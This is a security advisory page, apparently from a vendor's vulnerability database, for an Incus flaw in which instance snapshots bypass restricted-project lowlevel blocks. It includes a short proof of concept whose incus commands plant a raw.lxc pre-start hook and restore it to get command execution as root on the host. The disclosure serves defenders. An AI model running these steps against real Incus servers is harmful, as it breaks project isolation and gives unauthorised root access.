Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-48751

Incus has a restricted project bypass leading to arbitrary command execution
Back to all
CVE

CVE-2026-48751

Incus has a restricted project bypass leading to arbitrary command execution

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

## remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
## locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
## locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
C
H
U
9.9
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv, https://github.com/lxc/incus

Severity

9.9

CVSS Score
0
10

Basic Information

Base CVSS
9.9
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0,v7.0.0,v7.0.0-20260501231825-40dd4f151d52,v6.0.1,v6.0.0-20240405150957-bf519f9ab21a,v0.1.0,v0.0.0-20230930034434-1757b5d04f62,v0.0.0-20230809055229-78cea072e604,v0.0.0-20230809033550-59f049aad8e8,v0.0.0-20230731212712-ab0295afdd26,v0.0.0-20230731212529-7673a78986e4,v0.0.0-20230704205107-bfa9fa7c9331,v0.0.0-20191126102156-9b80beed14fb,v0.0.0-20150519195449-f74e7ba1ffc4
Fix Available
7.2.0,v7.2.0,v7.0.0-20260625220614-3fe3bc998919

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading